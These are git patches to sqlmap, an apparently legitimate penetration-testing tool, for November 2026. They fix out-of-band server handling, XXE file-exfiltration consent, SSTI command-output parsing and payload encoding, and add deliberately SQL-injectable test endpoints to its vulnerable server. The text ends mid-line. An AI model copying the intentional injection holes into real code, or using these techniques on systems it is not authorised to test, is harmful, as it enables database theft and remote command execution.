TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index f7faa5bc4..4c58097d8 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -49,6 +49,16 @@ class Interactsh(object): def __init__(self, server=None, token=None): self.server = None self.token = token or conf.get("oobToken") + self._scheme = "https" + self._ownServer = bool(server) + + # Note: explicitly provided server can come with a scheme (e.g. 'http://oob.example.com/') - the rest is used as the (callback) host + if server: + server = server.strip() + for scheme in ("https", "http"): + if server.lower().startswith("%s://" % scheme): + self._scheme, server = scheme, server[len(scheme) + len("://"):] + server = server.rstrip('/') # Note: (private) token belongs only to an explicitly provided server (i.e. never to be sent to a public one) if self.token and not server: @@ -78,12 +88,15 @@ class Interactsh(object): if not candidate: continue body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) - if self._request("https://%s/register" % candidate, post=body): + if self._request("%s://%s/register" % (self._scheme, candidate), post=body): self.server = candidate self.registered = True logger.debug("registered with OOB interaction server '%s'" % candidate) break + if self._ownServer and not self.registered: + logger.warning("unable to register with the provided OOB server '%s://%s'" % (self._scheme, server)) + def _request(self, url, post=None): """Direct request to the interactsh server (a fixed service, never the target). Self-contained on urllib so it works regardless of sqlmap's request-stack init @@ -103,11 +116,10 @@ class Interactsh(object): handlers = [] try: - # Verify TLS for the (public, valid-cert) interaction server by default; - # only skip verification when the user has globally opted out (--force-ssl-verify - # off / verifyCert False), matching sqlmap's own TLS posture. + # Note: TLS is verified for the (built-in) public interaction servers, while the explicitly + # provided (own) server is treated as any other target (i.e. self-signed certificates are fine) context = ssl.create_default_context() - if conf.get("verifyCert") is False: + if getattr(self, "_ownServer", False): context.check_hostname = False context.verify_mode = ssl.CERT_NONE handlers.append(HTTPSHandler(context=context)) @@ -265,7 +277,7 @@ class Interactsh(object): if not self.registered: return [] - page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + page = self._request("%s://%s/poll?id=%s&secret=%s" % (getattr(self, "_scheme", "https"), self.server, self.correlationId, self.secret)) if not page: return [] @@ -346,7 +358,7 @@ class Interactsh(object): def _deregister(self): if self.registered: body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) - self._request("https://%s/deregister" % self.server, post=body) + self._request("%s://%s/deregister" % (getattr(self, "_scheme", "https"), self.server), post=body) self.registered = False From d115a0a4cf5acbc1dc94ab87f0f0b3342b3f62fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:28:07 +0100 Subject: [PATCH 117/126] Fix for --oob-server (own) silently allowing usage of public service (webhook.site) for XXE file exfiltration --- lib/core/settings.py | 2 +- lib/techniques/xxe/inject.py | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e405a32ba..57f5d7b0f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.79" +VERSION = "1.10.11.80" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 042177be5..3c2c3aa2a 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -821,6 +821,13 @@ def _tryOobExfil(xml, rootName): if not fileName: return None + # Note: provided (own) OOB server is not a consent for contacting a public service (needed for hosting of the external DTD) + if conf.get("oobServer"): + message = "file exfiltration requires hosting of an external DTD, which provided OOB server can't do. " + message += "Do you want to use public service (webhook.site) for that? [y/N] " + if not readInput(message, default='N', boolean=True): + return None + wh = WebhookSite() exfilToken = wh.newToken() if not exfilToken: From c12c457ac11e30a8d4b6d6edab362d3de9f095b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:33:52 +0100 Subject: [PATCH 118/126] Fix for SSTI --os-cmd output being URL/HTML decoded (now exact, regardless of engine's autoescaping) --- lib/core/settings.py | 2 +- lib/techniques/ssti/inject.py | 20 ++++++++++++++++++-- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 57f5d7b0f..25c67992e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.80" +VERSION = "1.10.11.81" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index aed7e2fc1..c853876b8 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -15,7 +15,9 @@ from lib.core.common import beep from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER @@ -816,7 +818,8 @@ def _winChallenge(a, b): def _unixFramed(cmd, sa, sb, ea, eb): # printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated - return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) + # Note: a '<' canary is printed right after the start marker - it reveals whether the engine HTML-escapes the output + return "printf %%s%%s %s %s; printf %%s \\<; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) def _winFramed(cmd, sa, sb, ea, eb): @@ -1017,11 +1020,24 @@ def _executeCommand(place, parameter, engine, cmd): framedCmd = _escapeSingleQuoted(framed(cmd, sa, sb, ea, eb)) for payloadTemplate, description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", framedCmd) - page = getUnicode(_send(place, parameter, original + payload) or "") + + # Note: raw page (i.e. without sqlmap's generic decoding, which would e.g. turn a genuine '%41' into 'A') + disableHtmlDecoding = kb.disableHtmlDecoding + kb.disableHtmlDecoding = _family == "unix" + try: + page = getUnicode(_send(place, parameter, original + payload) or "") + finally: + kb.disableHtmlDecoding = disableHtmlDecoding + out = _framedOutput(page, start, end) # Note: without a shell (e.g. Java's Runtime.exec) printf recycles its format over the rest of the (unexecuted) command # line (e.g. ';id;printf%s%s'), "reproducing" both markers by itself - leftover format is the telltale if out is not None and "%s%s" not in out: + if _family == "unix": + if out.startswith("<"): # engine HTML-escaped the output (e.g. Jinja2 with autoescaping) + out = htmlUnescape(out[len("<"):]).strip() + elif out.startswith("<"): # raw output + out = out[len("<"):].strip() conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, out)) return From 498553d04ec8d8c50d3482e2904640804d565c91 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:44:47 +0100 Subject: [PATCH 119/126] Fix for double encoding of original value in JSON/XML (POST) bodies (e.g. 'C:\\temp', 'a&b') --- lib/core/agent.py | 14 +++++++++++++- lib/core/settings.py | 2 +- 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index a008ca6d1..d38765dea 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import json import re from lib.core.common import Backend @@ -29,6 +30,7 @@ from lib.core.common import zeroDepthSearch from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import queries @@ -137,6 +139,7 @@ class Agent(object): paramString = conf.parameters[place] paramDict = conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) + lookupValue = None newValue = getUnicode(newValue) if newValue else newValue try: # Dirty patch for Python 3.14.7 re.sub() regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128) @@ -160,12 +163,21 @@ class Agent(object): elif place == PLACE.CUSTOM_POST: paramString = origValue origValue = origValue.split(kb.customInjectionMark)[0] + # Note: original value is taken in its raw (decoded) form, as the whole payload (including it) gets (re)encoded later on (connect.py) if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] + lookupValue = origValue + origValue = htmlUnescape(origValue) if '&' in origValue else origValue elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", origValue) quote = match.group(0) if match else '"' origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) + lookupValue = origValue + if quote == '"' and kb.postHint != POST_HINT.JSON_LIKE and '\\' in (origValue or ""): + try: + origValue = json.loads('"%s"' % origValue) + except ValueError: + pass else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else _ @@ -233,7 +245,7 @@ class Agent(object): origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark) + _ = "%s%s" % (_origValue if base64Encoding else (origValue if lookupValue is None else lookupValue), kb.customInjectionMark) # Note: raw value (as found in the request) for the lookup if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) diff --git a/lib/core/settings.py b/lib/core/settings.py index 25c67992e..c63ae2343 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.81" +VERSION = "1.10.11.82" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 3325240680bed4a562934188c8f1a0d7f925e71e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:46:38 +0100 Subject: [PATCH 120/126] Fix for JSON string values ending with escaped backslash breaking payload placement --- lib/core/settings.py | 2 +- lib/core/target.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c63ae2343..3fa82e388 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.82" +VERSION = "1.10.11.83" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 7ca0ae54c..f650f3e2c 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -180,7 +180,8 @@ def _setRequestParams(): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) + # Note: proper JSON string matching (e.g. "x\\" ends with an escaped backslash, not with an escaped quote) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"(?:[^"\\]|\\.)*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) From 70702c2ce3718f074d9420f9cb2cb07f343a87f7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 19:55:05 +0100 Subject: [PATCH 121/126] Fix for SQLite error-based retrieval doubling single quotes (e.g. x"y''z) --- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3fa82e388..2bcd0df98 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.83" +VERSION = "1.10.11.84" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f89b5afee..8062d3b29 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -213,6 +213,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if isinstance(retVal, six.string_types): retVal = htmlUnescape(retVal).replace("
", "\n") + # Note: SQLite's error message of JSON_EXTRACT (e.g. "bad JSON path: '...'") quotes the (path) value by doubling its single quotes + if Backend.isDbms(DBMS.SQLITE) and not conf.hexConvert and "JSON_EXTRACT" in (getTechniqueData().vector or ""): + retVal = retVal.replace("''", "'") + retVal = _errorReplaceChars(retVal) if retVal is not None: From bd8df65b53651055fd082c0320e85002f0de9eb8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 20:06:16 +0100 Subject: [PATCH 122/126] Fix for --hql payloads not being URL encoded (special characters like '+', '&' extracted as '?') --- lib/core/settings.py | 2 +- lib/techniques/hql/inject.py | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2bcd0df98..dad3e3bd2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.84" +VERSION = "1.10.11.85" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py index f880e497a..f728462c7 100644 --- a/lib/techniques/hql/inject.py +++ b/lib/techniques/hql/inject.py @@ -37,6 +37,7 @@ from lib.core.settings import HQL_MAX_RECORDS from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request from lib.utils.xrange import xrange +from thirdparty.six.moves.urllib.parse import quote as _quote SENTINEL = randomStr(length=10, lowercase=True) @@ -126,7 +127,8 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # Note: URL encoded value (raw '+', '&', '%', '#', '?' would be misinterpreted), as with other non-SQL engines (e.g. OData) + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: if conf.verbose >= 3: @@ -406,11 +408,9 @@ for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): # Charset as an HQL string literal for LOCATE()-based binary search: each character's # 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a # linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / -# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded -# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as -# it was under the previous linear scan). ', ", \ are already excluded above. -_URL_HOSTILE = set(ord(_) for _ in "%&+#?") -_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are fine, as +# values are URL encoded by _send(). ', ", \ are already excluded above. +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET) def _scalar(entity, attrExpr, pin, after=None): From f4a4ae502723eb2873649c5a0da5ad17fcedab9e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 20:06:17 +0100 Subject: [PATCH 123/126] Fix for vulnserver double decoding POST parameters (e.g. encoded '&' splitting values) --- extra/vulnserver/vulnserver.py | 6 ++++-- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index b348a1c93..0666edc48 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -1227,7 +1227,8 @@ class ReqHandler(BaseHTTPRequestHandler): params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data))) else: self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';' - params.update(parse_qs(self.data)) + # Note: parsing the raw (i.e. not yet URL decoded) body, otherwise encoded '&'/'=' inside values would split them + params.update(parse_qs((getattr(self, "rawData", None) or self.data).replace(';', '&'))) for name in self.headers: params[name.lower()] = self.headers[name] @@ -1748,7 +1749,8 @@ class ReqHandler(BaseHTTPRequestHandler): length = int(self.headers.get("Content-length", 0)) if length: data = self.rfile.read(length) - data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) + self.rawData = data.decode(UNICODE_ENCODING, "ignore") + data = unquote_plus(self.rawData) self.data = data elif self.headers.get("Transfer-encoding") == "chunked": data, line = b"", b"" diff --git a/lib/core/settings.py b/lib/core/settings.py index dad3e3bd2..d53e6fb14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.85" +VERSION = "1.10.11.86" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f84b7fb70a320ed15d57ed530176cbd5f1e3d889 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 20:07:55 +0100 Subject: [PATCH 124/126] Adding warning for (unsupported) DISTINCT in provided SQL queries --- lib/core/settings.py | 2 +- lib/request/inject.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d53e6fb14..500f2f14d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.86" +VERSION = "1.10.11.87" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 81a782f07..2be4fcc9f 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -677,6 +677,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): + if fromUser and re.search(r"(?i)\bDISTINCT\b", query): + singleTimeWarnMessage("DISTINCT is not supported in provided SQL queries (results can contain duplicates)") query = query.replace("DISTINCT ", "") if not conf.forceDns: From 8b78b676c1376ae28feccd957b03bbecea05eff1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 20:52:57 +0100 Subject: [PATCH 125/126] Adding vuln-test coverage for --multi-bit and --timeless (vulnserver listing and HTTP/2 endpoints) --- .github/workflows/tests.yml | 7 +- extra/vulnserver/vulnserver.py | 124 +++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 34 ++++++++- 4 files changed, 161 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 98dedd5cd..9955c1ad2 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -97,13 +97,14 @@ jobs: - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" - - name: Install optional test deps (lxml, jinja2) + - name: Install optional test deps (lxml, jinja2, h2, cryptography) # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test # endpoints) skip themselves when the engine is unavailable, so these deps are only needed - # on the Py3 jobs. + # on the Py3 jobs. Same for h2/cryptography (vulnserver's HTTP/2 endpoint for --timeless and + # the reference-peer checks in test_http2). if: matrix.python-version != 'pypy-2.7' - run: python -m pip install -q lxml jinja2 + run: python -m pip install -q lxml jinja2 h2 cryptography - name: Unit tests # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 0666edc48..d8564abb9 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -1492,6 +1492,22 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING)) return + if self.url == "/list": + # VULNERABLE: listing page whose (number of) rows depends on the injected 'min' value (e.g. for --multi-bit) + try: + with _lock: + _cursor.execute("SELECT id,name FROM users WHERE id>%s ORDER BY id" % self.params.get("min", "0")) + rows = _cursor.fetchall() + output = "
    %s
" % "".join("
  • %s
  • " % (row[0], row[1]) for row in rows) + except Exception: + output = "error" + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/echo": # A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every # non-SQL switch must stay silent here. A differential built on "the page changed" is @@ -1776,6 +1792,114 @@ class ReqHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): return +def run_h2(address=LISTEN_ADDRESS, port=LISTEN_PORT + 1): + """ + Optional HTTP/2 (TLS) endpoint '/?id=1' (e.g. for --http2/--timeless), requiring 'h2' and 'cryptography' + Note: each stream is answered on its own thread with its own database connection (i.e. in order of completion) + """ + + import datetime + import socket + import ssl + + import h2.config + import h2.connection + import h2.events + + from cryptography import x509 + from cryptography.hazmat.primitives import hashes + from cryptography.hazmat.primitives import serialization + from cryptography.hazmat.primitives.asymmetric import ec + from cryptography.x509.oid import NameOID + + key = ec.generate_private_key(ec.SECP256R1()) + name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"localhost")]) + now = datetime.datetime.utcnow() + cert = x509.CertificateBuilder().subject_name(name).issuer_name(name).public_key(key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(now - datetime.timedelta(days=1)).not_valid_after(now + datetime.timedelta(days=1)).sign(key, hashes.SHA256()) + + handle, certFile = tempfile.mkstemp(suffix=".pem") + os.close(handle) + with open(certFile, "wb") as f: + f.write(cert.public_bytes(serialization.Encoding.PEM)) + f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())) + + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(certFile) + context.set_alpn_protocols(["h2"]) + local = threading.local() + + def _respond(conn, lock, sock, streamId, path): + if not hasattr(local, "db"): + local.db = sqlite3.connect(":memory:") + local.db.executescript(SCHEMA) + + try: + value = parse_qs(path.split('?', 1)[-1] if '?' in path else "").get("id", ["1"])[-1] + rows = local.db.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % value).fetchall() + status, body = "200", "%s" % "".join("%s" % _ for row in rows for _ in row) + except Exception as ex: + status, body = "500", "error: %s" % ex + + body = body.encode(UNICODE_ENCODING) + + with lock: + conn.send_headers(streamId, [(":status", status), ("content-length", str(len(body))), ("content-type", "text/html")]) + conn.send_data(streamId, body, end_stream=True) + sock.sendall(conn.data_to_send()) + + def _serve(sock): + conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=False)) + lock = threading.Lock() + paths = {} + + conn.initiate_connection() + sock.sendall(conn.data_to_send()) + + try: + while True: + data = sock.recv(65535) + if not data: + break + + with lock: + events = conn.receive_data(data) + sock.sendall(conn.data_to_send()) + + for event in events: + if isinstance(event, h2.events.RequestReceived): + paths[event.stream_id] = dict((_[0].decode() if isinstance(_[0], bytes) else _[0], _[1].decode() if isinstance(_[1], bytes) else _[1]) for _ in event.headers).get(":path", "/") + elif isinstance(event, h2.events.StreamEnded): + thread = threading.Thread(target=_respond, args=(conn, lock, sock, event.stream_id, paths.pop(event.stream_id, "/"))) + thread.daemon = True + thread.start() + except Exception: + pass + finally: + sock.close() + + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.settimeout(None) # Note: independent of (e.g. sqlmap's) default socket timeout, which would end the accept loop once idle + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((address, port)) + server.listen(50) + + while True: + try: + client, _ = server.accept() + except socket.error: + continue + + try: + client.settimeout(None) + client = context.wrap_socket(client, server_side=True) + except Exception: + client.close() + continue + + thread = threading.Thread(target=_serve, args=(client,)) + thread.daemon = True + thread.start() + def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): global _alive global _server diff --git a/lib/core/settings.py b/lib/core/settings.py index 500f2f14d..76ae2dafe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.87" +VERSION = "1.10.11.88" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index b919605bc..1f71bc1ec 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -96,6 +96,8 @@ def vulnTest(tests=None, label="vuln"): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql -T creds --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"list?min=0\" --multi-bit --technique=B -T users --dump --flush-session", ("carries a multi-bit channel", "30 entries", "luther")), # --multi-bit: a listing page whose rows depend on the injected value carries several bits per request + ("-u \"?id=1\" --http2 --technique=T --timeless --dbms=sqlite --level=3 --risk=2 --banner --time-sec=5 --flush-session", ("turning on HTTP/2 timeless timing", "banner: '3.")), # --timeless: (SQLite heavy-query) time-based blind read by HTTP/2 response order (Note: 